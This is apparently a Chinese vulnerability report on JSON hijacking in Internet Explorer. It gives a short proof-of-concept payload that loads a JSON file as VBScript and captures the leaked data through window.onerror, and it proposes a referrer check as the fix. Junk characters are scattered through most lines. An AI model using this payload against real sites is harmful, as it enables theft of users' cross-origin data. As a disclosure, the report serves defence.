简要描述:9 }' `! f' k2 L4 V- f1 `
- h# Q+ z3 o) e5 _
由于某些资源容器对数据处理不当导致json劫持漏洞.
) ]& A: U/ ]4 @; }# L( z详细说明:
# o1 a5 a& ] L H& x s由于ie支持vbscript,所以script元素可以指定成vbscript语言:
+ j3 o+ R- B6 h5 H m" x3 S' j2 H( a<script language=vbscript></script>
' t E& m# {7 W( W
4 N' R5 g$ q% g+ j# s7 J8 U当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
# ~4 J, H/ L' s! b' T3 Y% Z r: O漏洞证明:% y& s. ?, U% W- r( L2 \* O
<script>% _) S7 v7 W0 c& ?+ u1 R* V
window.onerror=function(_){5 r" f1 j( O' U- u
alert(_)# r1 D0 v+ h& E# j& V. ?
}, _; O0 F% D9 w' F- ^! H$ U
</script>6 e6 t$ r4 m" j8 ^; k" b% }
<script language=vbscript src=1.json></script>2 s' D1 K0 Q) I( A
3 |. T$ X* w% ~. K+ G3 J+ k
- z+ f( b/ @* U6 D% D' D$ J
1.json:. o7 f$ j2 ]7 J* a( H4 y
[{"name":"sogili","age":19}]
7 ~$ _6 g& E1 J1 C修复方案:
6 }/ I! @7 F: X9 V( [) I) E2 u网站业务对于这个问题可以通过验证referrer是否为同源来防御 |